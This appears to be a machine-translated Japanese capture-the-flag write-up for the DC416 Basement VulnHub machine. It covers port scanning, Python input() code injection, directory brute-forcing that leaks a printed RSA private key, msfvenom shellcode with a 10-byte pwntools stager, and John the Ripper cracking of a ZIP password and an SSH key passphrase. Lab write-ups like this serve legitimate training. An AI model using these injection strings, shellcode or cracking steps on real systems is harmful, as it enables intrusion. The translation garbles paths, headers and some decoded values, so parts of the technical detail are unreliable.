DefCon Toronto'sからのCTFデブリーフィングの継続。
VulnHubチームが提供するタスク。
多くの人に感謝します。 そして、
DC416 Basementを検討します。
以下では、以前の地区のスタートアップに慣れることができます。
始めましょう
仮想マシンを起動し、開いているポートの検索に進みます。
$ sudo arp-scan -l -I wlan0 | grep "CADMUS COMPUTER SYSTEMS" | awk '{print $1}' | xargs sudo nmap -sV -p1-65535
192.168.1.221のNmapスキャンレポート
ホストが稼働しています(0.00086秒の遅延)。
表示されていません:65529閉じたポート
ポートステートサービス
22 / tcp open ssh OpenSSH 6.7p1 Debian 5 + deb8u3(プロトコル2.0)
80 / tcp open http Apache httpd 2.4.10((Debian))
8080 / tcp open http-proxy ------ [-> +++ <]>。[-> +++ <]> .---。++++。
8090 / tcp open unknown
10000 / TCPオープンsnet-sensor-mgmt
10001 / tcp open tcpwrapped
MACアドレス:08:00:27:DF:F5:5E(Oracle VirtualBox仮想NIC)
ディレクトリをスキャンしても結果が得られませんでした。
$ sudo dirsearch -u http://192.168.1.221 -w /usr/share/dirb/wordlists/big.txt -e php,txt,bak,jpg,json,html -r -f
フラグ1
$ nc 192.168.1.221 10000
素晴らしい、どうやらこれは
Python2で、その素晴らしい
入力機能を備えています。 コードを実行して、現在のディレクトリの内容を確認してみましょう。
$ nc 192.168.1.221 10000 Please enther number of packets: __import__('os').system('ls') flag.txt ping.py run_ping.sh PING localhost (127.0.0.1) 56(84) bytes of data
さらに便利なように、Pythonで小さなシェルを作成します。
システムを調べて、ユーザーのホームディレクトリから最初のフラグを取得します。
> cat ./flag.txt flag{j4cks_t0t4L_l4cK_0f_$uRpr1sE}
さらに、
.secretディレクトリに奇妙なファイルを見つけます。
> ls -ahl ..... drwx------ 2 jack jack 4.0K Nov 21 16:53 .secret > ls -ahl .secret -rw------- 1 jack jack 2.0K Nov 21 16:53 marla.xip
ファイルは明らかに
Mac OS向けであるため、今のところは残しておきましょう。
Flag2
ポート8090をスキャンするときに、
nmapはそこで未知のWebサービスを検出しました。そこにあるものを見てみましょう。
$ curl http://192.168.1.221:8090
<!DOCTYPE html> <html><head><title>Moved</title></head><body> You should be <a href="http://localhost/flag.mpg">redirected</a>. </body></html>
wgetの開始後、無限の読み込みが開始されました。おそらくビデオはループストリームで送信されます。 ダウンロードを中断して開始すると、次の順序を指示するロボットの女性の声が聞こえます。
102108 97 103 123 98 82 52 105 110 95 112 97 82 97 115 49 116 101 36 125
次に、それがフラグであることを報告し、最初からやり直します。
サイトを使用して、これをテキストに変換し、次のフラグを取得します。
フラグ{bR4in_paRas1te $}Flag3
ポート8080。これは、おそらく
psコマンドログを表示するWebサービスでもあります。
タイラー1319 0.0 0.1 4080 636? S 11:49 0:00 /家/タイラー/小さな8080
ルートディレクトリがおそらくユーザーのディレクトリであるという事実だけでなく、それが属するユーザーを認識します。
curlで開くと、ASCIIイメージと奇妙なサーバーヘッダーが取得されます。
$ curl http://192.168.1.221:8080/ -vv
* Hostname was NOT found in DNS cache * Trying 192.168.1.221... * Connected to 192.168.1.221 (192.168.1.221) port 8080 (#0) > GET / HTTP/1.1 > User-Agent: curl/7.35.0 > Host: 192.168.1.221:8080 > Accept: */* > < HTTP/1.1 200 OK * Server ------[-->+++<]>.[->+++<]>.---.++++. is not blacklisted < Server: ------[-->+++<]>.[->+++<]>.---.++++. < Content-length: 36246 < Content-type: text/html
brainfuckに非常に似てい
ます 。 たとえば、デコード後、次の行を取得します:
webfnetcatを介してこのポートに接続した後、長い試行の後、ディレクトリをスキャンしても結果が再び表示されませんでした。
$ nc 192.168.1.221 8080
123 HTTP/1.1 501 Not Implemented Content-type: text/html <html><title>Error</title><body bgcolor=ffffff> 501: Not Implemented <p>+[------->++<]>.+.+++++.[---->+<]>+++.++[->+++<]>.+++++++++.++++++.-------.----------.: 123 <hr><em>------[-->+++<]>.[->+++<]>.---.++++.</em>
応答として、再び
Brainfuckに対する応答を
受け取りました 。明らかに、このサーバーはそれでのみ動作します。 リクエストが失敗するたびにサーバーがクラッシュするため、状況はさらに複雑になります。 以下は、ブルートディレクトリを実装する試みです。
ユーザーディレクトリの可能なコンテンツを使用して小さな辞書を投げたら、お茶を飲みに行くことができます。
$ ./brainfuck.py test
ただし、しばらくすると、ログにsshユーザーキー
タイラーが表示されます
id_rsaファイル.ssh / id_rsaが見つかりました
HTTP / 1.1 200 OK
サーバー:------ [-> +++ <]>。[-> +++ <]> .---。++++。
コンテンツの長さ:1675
コンテンツタイプ:テキスト/プレーン
----- RSAプライベートキーの開始-----
MIIEowIBAAKCAQEApTSRfQBEqWjDTZZp0YHpOzDQ8zmo2NvTguHworeU9Yk26Zez
R3HtoKL99hRwJrqsRzeDb2OaZcnFgHAK95zEibHRJzXbWTJ8hq + lLri8gNM62WVf
mMe5Jd5QWkrmskUxSX0mlj3faJwtDphYmWUUbn3CN1eDI7ePqoAcWpMFeqQYXe / 5
HaPrKZxe6WCQsgFcj3zIz + U9Qidz8x / ZKYDCFJ + aLuoo3HUB + EHT9abirjLKbHvM
BcstMNt23GD3KF549M2d5i5YC7o6LD8yBwifIIS2g3wNRfOsplrY / DEacILqaI7p
xM3EpIahPt / Vn3 / DylVNyHoXP / hbXLtgoZwYAwIDAQABAoIBAAedhbtaYM / iWWZh
MZ2LvIGS / X7IwKTGdViKK7qEdeRfn91itcvsT4ThHo3SYV0Xq8tYnsFquPpKM8V4
5LiHTHQAc2C4VdUlw6G9xQKDV4Ukt4i / 6Ik1Y66AMfoHi9zZ3azCjR3N2leLI3SR
xzvC8g8p0uMUMKJb2s6EO0pdjpoZlV / 6JbcckushCQIJieHr00pq / w1fcY438DoR
OnPfGeJgkQQgfJ8W77CDNRtECpP8WBsr4hDJZXq3ink2BDZRYwO8o / nOuEGOKlAp
34j7ks5M / LOcKVskdIzz2vCc0OvtyNQ0Fk / e1INbkbwvhKUgF9t4dCBC9wF4YKx7
lBK4eAECgYEA1ntOisRF9D3 + 7EBN3pCQ2SssXFpmdnYjdzX2aETfcnSzU52ODRGw
p5BFkZBhnPz / as7BrvufRGSM76eBHzUaRA4mNEe2EX49PsGtr + ONo2jIU6Ee19WP
0sn + iINdw9JOK9Rma7WlYdaJuEs4DRzO3LX9cn5P4IUgBUaUOv3RFAMCgYEAxS9c
ZNYUfgV29tlUHzyqdSKIDt / jB7yNDyCGBJYy1KBO9vAkM44haqNln6eGXaveXxBh
n + gRG + MD8NBUv8VfCoU7ZKqHWpzgDfJOa3DBFM + 8IcDRj1KT1weg4NRdlsmz4A1X
/ Os3RIlXZ5MHuTPnpXFcjS70oqbmDU571w9zrAECgYAQLHA5yp8z0dD9Y8P7eo9R
sQ3BURfU6we1n54bMsZezSoQrhreJW1a1WhJl8eknPdtyHWWimbyM1rlX44 / GjQG
2cJLwvSZ0RkxOE2uq8wsfGRO2iGHSRV1YcIN7UoO0DcQ2w12JdZ40ELGYPWzF28J
+ bdJAPlpBuDpRO88m5M + nQKBgGoXglGqsVngnNJRuiYYYOonCyddpGwcMZUK / bBo
E689FV9dc0zd0vLqORo + a1foyftB + BSuKs5jRVKC9KY9jlY9uuf9rFe / gfle / nxm
LSyCXImYkefYGT0fmJp / CF / B5GrPIyEseQ8CCinq / MPTvnXQWWiI9AyzWaGdMZpT
cPwBAoGBAIAULQyYmeipsRQvKUMCjVFPIpv2IXxnFTnaiJ1kbPOuN7MuagRD1ZDf
FmPq8mIDg2oCKIq0 / iOsmGmLaPXJADXAOXFWjDmWTHt7RKBvxOT6fNfCqEW29wkG
6XOdjh0Q6lKwxyOuFamIaEmCgoq7Ez7aRwgzf5KzIrw / vV3reIzI
----- RSAプライベートキーの終了-----
ログインしようとすると、次のフラグが見つかります。
$ ssh -i /tmp/id_rsa tyler@192.168.1.221
フラグ4
ポート10001がまだあります。psログから、このポートで
「10バイト」サービスがハングしていることがわかります。
ロバート1331 0.0 0.5 19644 2748? S 11:50 0:00 socat TCP-LISTEN:10001、reuseaddr、fork、range = 127.0.0.1 / 32 EXEC:./ tenbytes、pty、stderr、echo = 0
しかし、外部から接続しても何も起こりません。 攻撃されたホストのsshトンネルを取得しましょう:
$ ssh -i /tmp/id_rsa -L 10001:127.0.0.1:10001 -N tyler@192.168.1.221
したがって、接続すると、実行するために10バイトを入力するように求められます。
$ nc 127.0.0.1 10001 Tee hee! Gimme ten bytes to run!
ほとんどの場合、読み取りは
読み取り関数によってバッファーに行われ、その後バッファーが
callを介して実行されると仮定し
ます 。 それは多かれ少なかれ明らかです。 サイズが10バイトのコードを送信する必要があります。 その後、どういうわけかシェルを起動します。
このサイトで
読み取り関数の呼び出しがどのように見えるかを確認した後。 読み取り用のバッファのサイズが
EDXレジスタを介して渡されることに気付くでしょう。
EDXの値を増やして、読み取り用のバッファーを増やしてから、新しいバッファーを使用して
読み取り関数を再度呼び出して、そこにシェルコードを送信することができます。 エクスプロイトを作成するには、
pwntoolsフレームワークを使用します。
シェルを準備します。
$ sudo msfvenom -p linux/x64/exec cmd=/bin/sh -f py -v shell shell = "" shell += "\x6a\x3b\x58\x99\x48\xbb\x2f\x62\x69\x6e\x2f\x73\x68" shell += "\x00\x53\x48\x89\xe7\x68\x2d\x63\x00\x00\x48\x89\xe6" shell += "\x52\xe8\x08\x00\x00\x00\x2f\x62\x69\x6e\x2f\x73\x68" shell += "\x00\x56\x57\x48\x89\xe6\x0f\x05"
EDXを変更するために送信するコードを直接:
def gen_payload(offset): payload = "" payload += "\x01\xd2"
ここで何が起こっているかを少し説明しましょう:
- ダブルEDX
- 私たちの仮定が正しく、呼び出しがCALLを介して行われた場合、未使用のレジスタで戻りアドレスを抽出します
- オフセット値を順次増加させることにより、 call read
- 読みに行き、残りをNOPで埋めます
最初は、
EDXで送信シェルよりも大きい値を入力しようとしましたが、これは機能しなかったため、
EDXも取得しようとしました。 スクリプトの最終バージョンを以下に示します。
開始後、オフセットの列挙を開始し、
読み取り関数によって読み取られるバイト数を増やします。 しばらくして、必要なパラメーターが見つかり、ユーザー
robertからシェルにアクセスし、それを使用してフラグを設定します。
以下は、
10バイトアプリケーションの
メイン関数の逆アセンブルリストです。
主な機能 .text:0000000000400626 main proc near ; DATA XREF: start .text:0000000000400626 .text:0000000000400626 var_30 = qword ptr -30h .text:0000000000400626 var_24 = dword ptr -24h .text:0000000000400626 var_18 = qword ptr -18h .text:0000000000400626 var_10 = qword ptr -10h .text:0000000000400626 buf = qword ptr -8 .text:0000000000400626 .text:0000000000400626 push rbp .text:0000000000400627 mov rbp, rsp .text:000000000040062A sub rsp, 30h .text:000000000040062E mov [rbp+var_24], edi .text:0000000000400631 mov [rbp-48], rsi .text:0000000000400635 mov edi, offset s ; "Tee hee! Gimme ten bytes to run!" .text:000000000040063A call _puts .text:000000000040063F mov r9d, 0 ; offset .text:0000000000400645 mov r8d, 0FFFFFFFFh ; fd .text:000000000040064B mov ecx, 98 ; flags .text:0000000000400650 mov edx, 7 ; prot .text:0000000000400655 mov esi, 4096 ; len .text:000000000040065A mov edi, 0 ; addr .text:000000000040065F call _mmap .text:0000000000400664 mov [rbp+buf], rax .text:0000000000400668 mov rax, [rbp+buf] .text:000000000040066C mov edx, 0Ah ; nbytes .text:0000000000400671 mov rsi, rax ; buf .text:0000000000400674 mov edi, 0 ; fd .text:0000000000400679 mov eax, 0 .text:000000000040067E call _read .text:0000000000400683 mov rax, [rbp+buf] .text:0000000000400687 mov [rbp+var_10], rax .text:000000000040068B mov rax, [rbp+var_10] .text:000000000040068F mov [rbp+var_18], rax .text:0000000000400693 mov rax, [rbp+var_18] .text:0000000000400697 call rax .text:0000000000400699 mov rax, [rbp+buf] .text:000000000040069D mov esi, 4096 ; len .text:00000000004006A2 mov rdi, rax ; addr .text:00000000004006A5 call _munmap .text:00000000004006AA mov edi, 0 ; status .text:00000000004006AF call _exit .text:00000000004006AF main endp
フラグ5
まだ
marla.xipファイルがあります。 ファイル拡張子は
zipと非常に似ていますが、標準的な方法で開くことはできません。
xortoolを使用して、彼を
つついて、その結果を確認してみましょう。
$ xortool marla.xip -b
何かが見つかったので、結果をフィルタリングします。
$ file xortool_out/* | grep Zip xortool_out/000.out: Zip archive data
アーカイブが見つかりました。内容を見てみましょう。
$ 7z l xortool_out/000.out
どうやらこれはプライベートsshユーザーキー
marlaです。 ただし、うまくいかないだけでなく、アーカイブもパスワードで保護されています。
ここで説明されているように
John The Ripperをコンパイルし
ます 。 ハッシュを抽出します。
$ ./zip2john /tmp/marla.zip > /tmp/marla.zip.john
そして、開始後、目的のパスワードを取得します。
$ ./john /tmp/marla.zip.john
1つのパスワードハッシュをロード(ZIP、WinZip [PBKDF2-SHA1 8x SSE2])
2つのOpenMPスレッドを実行します
中止するには 'q'またはCtrl-Cを押します。他のほとんどのステータスキー
m4rl4(marla.zip)
1g 0:00:00 DONE 1/3(2017-01-08 23:56)1.219g / s 3219p / s 3219c / s 3219C / s m4rl4.zip..mar1a.zipzip
「--show」オプションを使用して、クラックされたパスワードをすべて確実に表示します
セッション完了
素晴らしい、アーカイブからのパスワードがあります。 しかし、秘密鍵が置かれているファイルを見ると、それだけではありません。
マーラ----- RSAプライベートキーの開始-----
Proc-Type:4、暗号化済み
DEK-Info:AES-128-CBC、4A3641AA61921099DAB3E32222AE8221
k8zDFT8UXhpb7Dn + KzYv6mYuAI0vF25s / zFpuvtm31FtTwOAzqz + ukei2DR + r4Zb
QKGV5EPf0ymcx6Nh4X700eRa555hFDrWMRwLAy7bTkYK5MbLY3On7BqBnmpbs / bd
Pd / VpmvMtUnl8YcMF756NLt0sgqwWbf8DGFUcJZTGEsZhwTL86cCYyFbbdOHijzY
Wi + OjgVBxw62VrdEn8HHA0Hks72LRGAsXLJ4ReT6nm / 6H88idKHtnc1CXGzUtEwR
E7 / Bzzqn / P1rTrnPp / adV4oAC + Q86Sdy5RHuH35KC6c6WgpFRprqeWeLdf6aBBF0
yadmGUu4PrWP7iYd7Bc4k2Czlr0pk1x0GjqedjFYmPWypllfZvMriQa6QhYkKlGl
ecEm8Usrok54u8jX1VZtdRu1 + 6gNPZcw8FOK1GTks2L9ywvWoSNOGr5LFBDBYufq
SNNUQq0cEyAl3KaPT5vPyEcrqAa7NKmIl5uImECPG93iIsfOt3P4ujVwWuT3p100
KHnHEybuZXTBRUPmHoE + wXvFyLAWzHG8d6cy18FzGEyogUbs + d5GmdFjsyaaLeES
8AtkGrWrUAgo / NDpbVdHoLmwjzvxlDkk + Uk3 / KN5qjFKajbav9EoMJNeCac1Ax0i
KHiSvyPtifWu9Mj8IYq6zIVVFoVPc4swDrqxsNkwA8uAXLCIBk / lHOBryIPVmsOd
4gWhae23ul + HC5gHwlXUfq5Zrljhqpw9D50veSizqdtwmWgvs1crkddXbTwUSvrb
kZHQoY2PqfJPmF3TNt5RQvwNIaOMospy29niKk / qICaZ1t9KUyMdfNmyVzHGnJPz
Ae6pdfCsgoymkO1zd4TVaGTRH2tt0ZRXECHPTG / 5i8IRJGB4hlTJ4z0QNcVPQGdF
sI9GuUuRzaIpVbbxf50OG5qWfVRJR2lWwfvIEgmfvKQs9qJBq4X05NeagWoDKhrH
/ 90k1S3GI5rw9RyjzD1I4k1li + PjyWs + wZAEn39Hqlxuk + gMWuKCr6Wel / dV3exU
XlkGJLJo1SUK1Uh2Z6CeSwdSVMf2j21pMbeaw8U9RQund9EOwln8JDKtdQXYW9ba
SE / hUpvlNHPG / 90Tp2JQCkk / MinwV4IGev7mn9piltL8Q7qcU1o9TpAxtdonyaYI
UYnzpv + g / 0fhKnycwRttVukt7Mtgvr0SMCXcImMjdnDpVxbrbEWtLgFsZayg + SzQ
/ 03KMOA9AVoo48ZlLa + oERqeedXDBqmKkNJwIsBcYEywHl6NlEHCZk2S / lcr + ra9
im + l2nua3IvYYIRnWHWoLs0D + Hi / PvQHmj3e2YBeIZMYGPHk8XQ17cofwqU7VDr7
x6nP22au0LGKTj4 + E46r1hEWs9C0X8AMJjfShb + CyN / imo / 3a3bJiazE1F5IpKlY
5UejDh7GCcxnvmjXlY4q + 7DeJlz5VSjKjfR5V0b5mkcLEI18c2sBkTVdMVzzBGQO
kTNSGJSOrF5el9 + wlpLY4E8loocJpzH3P3uu + fOwHtNiul5RAlotfJnJd9lYea5k
W581cgXIWgN6actoiIGZXlHKB5Zsdb3GdmmG0Lb50lsL4GH8MIKDKdumUKSwrT20
----- RSAプライベートキーの終了-----
パスフレーズが設定されていることがわかります。 しかし、これは問題ではありません。それを抽出し、
John 'を次の宛先に送ります。
$ ./john-1.8.0-jumbo-1/run/ssh2john marla > marla.ssh $ sudo ./john-1.8.0-jumbo-1/run/john marla.ssh
1つのパスワードハッシュをロード(SSH [RSA / DSA 32/32])
2つのOpenMPスレッドを実行します
中止するには 'q'またはCtrl-Cを押します。他のほとんどのステータスキー
歌手(marla)
1g 0:00:00 DONE 2/3(2017-01-09 01:11)1.086g / s 2165p / s 2165c / s 2165C / s rangers..88888888
「--show」オプションを使用して、クラックされたパスワードをすべて確実に表示します
セッション完了
必要なものがすべて揃ったら、
sshでログインし、最後のキーを
取得します。
$ ssh -i marla marla@192.168.1.221 Enter passphrase for key 'marla':
Debian GNU / Linuxシステムに含まれるプログラムはフリーソフトウェアです。
各プログラムの正確な配布条件は、
/ usr / share / doc / * / copyright内の個々のファイル。
Debian GNU / Linuxには、絶対に無保証です。
適用法により許可されています。
よくやった! あなたの旗は旗{l4y3rs_up0n_l4y3rs}です
192.168.1.221への接続が閉じられました。
すべてのキーが収集されます。 通話は終了しました! DC416シリーズの次の仮想マシンイメージに進むことができます。